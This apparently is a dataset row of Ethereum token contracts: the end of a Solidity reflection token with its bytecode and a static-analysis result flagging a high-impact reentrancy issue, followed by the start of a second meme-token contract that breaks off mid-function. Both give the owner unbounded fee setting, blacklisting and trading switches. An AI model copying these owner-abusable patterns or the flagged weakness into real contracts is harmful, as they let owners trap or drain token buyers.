uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610556578063dd62ed3e14610576578063ea1644d5146105bc578063f2fde38b146105dc57600080fd5b8063a2a957bb146104d1578063a9059cbb146104f1578063bfd7928414610511578063c3c8cd801461054157600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b411461048257806398a5c315146104b157600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195e565b6105fc565b005b34801561020a57600080fd5b5060408051808201909152600a8152694b7572756d6920496e7560b01b60208201525b60405161023a9190611a23565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a78565b61069b565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b5066038d7ea4c680005b60405190815260200161023a565b3480156102db57600080fd5b506102636102ea366004611aa4565b6106b2565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b506040516009815260200161023a565b34801561032d57600080fd5b50601554610293906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611ae5565b61071b565b34801561036d57600080fd5b506101fc61037c366004611b12565b610766565b34801561038d57600080fd5b506101fc6107ae565b3480156103a257600080fd5b506102c16103b1366004611ae5565b6107f9565b3480156103c257600080fd5b506101fc61081b565b3480156103d757600080fd5b506101fc6103e6366004611b2d565b61088f565b3480156103f757600080fd5b506102c160165481565b34801561040d57600080fd5b506102c161041c366004611ae5565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610293565b34801561045857600080fd5b506101fc610467366004611b12565b6108be565b34801561047857600080fd5b506102c160175481565b34801561048e57600080fd5b506040805180820190915260068152654b5552494e5560d01b602082015261022d565b3480156104bd57600080fd5b506101fc6104cc366004611b2d565b610906565b3480156104dd57600080fd5b506101fc6104ec366004611b46565b610935565b3480156104fd57600080fd5b5061026361050c366004611a78565b610973565b34801561051d57600080fd5b5061026361052c366004611ae5565b60106020526000908152604090205460ff1681565b34801561054d57600080fd5b506101fc610980565b34801561056257600080fd5b506101fc610571366004611b78565b6109d4565b34801561058257600080fd5b506102c1610591366004611bfc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c857600080fd5b506101fc6105d7366004611b2d565b610a75565b3480156105e857600080fd5b506101fc6105f7366004611ae5565b610aa4565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161062690611c35565b60405180910390fd5b60005b81518110156106975760016010600084848151811061065357610653611c6a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068f81611c96565b915050610632565b5050565b60006106a8338484610b8e565b5060015b92915050565b60006106bf848484610cb2565b610711843361070c85604051806060016040528060288152602001611db0602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ee565b610b8e565b5060019392505050565b6000546001600160a01b031633146107455760405162461bcd60e51b815260040161062690611c35565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107905760405162461bcd60e51b815260040161062690611c35565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e357506013546001600160a01b0316336001600160a01b0316145b6107ec57600080fd5b476107f681611228565b50565b6001600160a01b0381166000908152600260205260408120546106ac90611262565b6000546001600160a01b031633146108455760405162461bcd60e51b815260040161062690611c35565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b95760405162461bcd60e51b815260040161062690611c35565b601655565b6000546001600160a01b031633146108e85760405162461bcd60e51b815260040161062690611c35565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109305760405162461bcd60e51b815260040161062690611c35565b601855565b6000546001600160a01b0316331461095f5760405162461bcd60e51b815260040161062690611c35565b600893909355600a91909155600955600b55565b60006106a8338484610cb2565b6012546001600160a01b0316336001600160a01b031614806109b557506013546001600160a01b0316336001600160a01b0316145b6109be57600080fd5b60006109c9306107f9565b90506107f6816112e6565b6000546001600160a01b031633146109fe5760405162461bcd60e51b815260040161062690611c35565b60005b82811015610a6f578160056000868685818110610a2057610a20611c6a565b9050602002016020810190610a359190611ae5565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6781611c96565b915050610a01565b50505050565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b815260040161062690611c35565b601755565b6000546001600160a01b03163314610ace5760405162461bcd60e51b815260040161062690611c35565b6001600160a01b038116610b335760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610626565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610626565b6001600160a01b038216610c515760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610626565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d165760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610626565b6001600160a01b038216610d785760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610626565b60008111610dda5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610626565b6000546001600160a01b03848116911614801590610e0657506000546001600160a01b03838116911614155b156110e757601554600160a01b900460ff16610e9f576000546001600160a01b03848116911614610e9f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610626565b601654811115610ef15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610626565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3357506001600160a01b03821660009081526010602052604090205460ff16155b610f8b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610626565b6015546001600160a01b038381169116146110105760175481610fad846107f9565b610fb79190611cb1565b106110105760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610626565b600061101b306107f9565b6018546016549192508210159082106110345760165491505b80801561104b5750601554600160a81b900460ff16155b801561106557506015546001600160a01b03868116911614155b801561107a5750601554600160b01b900460ff165b801561109f57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c457506001600160a01b03841660009081526005602052604090205460ff16155b156110e4576110d2826112e6565b4780156110e2576110e247611228565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112957506001600160a01b03831660009081526005602052604090205460ff165b8061115b57506015546001600160a01b0385811691161480159061115b57506015546001600160a01b03848116911614155b15611168575060006111e2565b6015546001600160a01b03858116911614801561119357506014546001600160a01b03848116911614155b156111a557600854600c55600954600d555b6015546001600160a01b0384811691161480156111d057506014546001600160a01b03858116911614155b156111e257600a54600c55600b54600d555b610a6f8484848461146f565b600081848411156112125760405162461bcd60e51b81526004016106269190611a23565b50600061121f8486611cc9565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610697573d6000803e3d6000fd5b60006006548211156112c95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610626565b60006112d361149d565b90506112df83826114c0565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132e5761132e611c6a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138257600080fd5b505afa158015611396573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ba9190611ce0565b816001815181106113cd576113cd611c6a565b6001600160a01b0392831660209182029290920101526014546113f39130911684610b8e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142c908590600090869030904290600401611cfd565b600060405180830381600087803b15801561144657600080fd5b505af115801561145a573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147c5761147c611502565b611487848484611530565b80610a6f57610a6f600e54600c55600f54600d55565b60008060006114aa611627565b90925090506114b982826114c0565b9250505090565b60006112df83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611665565b600c541580156115125750600d54155b1561151957565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154287611693565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157490876116f0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a39086611732565b6001600160a01b0389166000908152600260205260409020556115c581611791565b6115cf84836117db565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161491815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061164182826114c0565b82101561165c5750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116865760405162461bcd60e51b81526004016106269190611a23565b50600061121f8486611d6e565b60008060008060008060008060006116b08a600c54600d546117ff565b92509250925060006116c061149d565b905060008060006116d38e878787611854565b919e509c509a509598509396509194505050505091939550919395565b60006112df83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ee565b60008061173f8385611cb1565b9050838110156112df5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610626565b600061179b61149d565b905060006117a983836118a4565b306000908152600260205260409020549091506117c69082611732565b30600090815260026020526040902055505050565b6006546117e890836116f0565b6006556007546117f89082611732565b6007555050565b6000808080611819606461181389896118a4565b906114c0565b9050600061182c60646118138a896118a4565b905060006118448261183e8b866116f0565b906116f0565b9992985090965090945050505050565b600080808061186388866118a4565b9050600061187188876118a4565b9050600061187f88886118a4565b905060006118918261183e86866116f0565b939b939a50919850919650505050505050565b6000826118b3575060006106ac565b60006118bf8385611d90565b9050826118cc8583611d6e565b146112df5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610626565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f657600080fd5b803561195981611939565b919050565b6000602080838503121561197157600080fd5b823567ffffffffffffffff8082111561198957600080fd5b818501915085601f83011261199d57600080fd5b8135818111156119af576119af611923565b8060051b604051601f19603f830116810181811085821117156119d4576119d4611923565b6040529182528482019250838101850191888311156119f257600080fd5b938501935b82851015611a1757611a088561194e565b845293850193928501926119f7565b98975050505050505050565b600060208083528351808285015260005b81811015611a5057858101830151858201604001528201611a34565b81811115611a62576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8b57600080fd5b8235611a9681611939565b946020939093013593505050565b600080600060608486031215611ab957600080fd5b8335611ac481611939565b92506020840135611ad481611939565b929592945050506040919091013590565b600060208284031215611af757600080fd5b81356112df81611939565b8035801515811461195957600080fd5b600060208284031215611b2457600080fd5b6112df82611b02565b600060208284031215611b3f57600080fd5b5035919050565b60008060008060808587031215611b5c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8d57600080fd5b833567ffffffffffffffff80821115611ba557600080fd5b818601915086601f830112611bb957600080fd5b813581811115611bc857600080fd5b8760208260051b8501011115611bdd57600080fd5b602092830195509350611bf39186019050611b02565b90509250925092565b60008060408385031215611c0f57600080fd5b8235611c1a81611939565b91506020830135611c2a81611939565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611caa57611caa611c80565b5060010190565b60008219821115611cc457611cc4611c80565b500190565b600082821015611cdb57611cdb611c80565b500390565b600060208284031215611cf257600080fd5b81516112df81611939565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4d5784516001600160a01b031683529383019391830191600101611d28565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611daa57611daa611c80565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220197f06afaf33575c301dab1cac39b25e2c1e75738712d724e50e34360ce371d064736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,175 |
0xc3494d42dd8711f7dc11d1b5363f2286b21997c6 | // Telegram : https://t.me/BLUEBIRDISTHENEWBLACKPORTAL
// Based on Elon Tweet : https://twitter.com/elonmusk/status/1518677066325053441?s=20&t=2clSu-Urln3AK0xtH7GtHQ
// Tax fee : 6% / 8%
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BlueBirdIsTheNewBlack is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e6 * 10**9;
string public constant name = unicode"BlueBirdIsTheNewBlack"; ////
string public constant symbol = unicode"BBIRD"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable private _FeeAddress1;
address payable private _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 6;
uint public _sellFee = 8;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
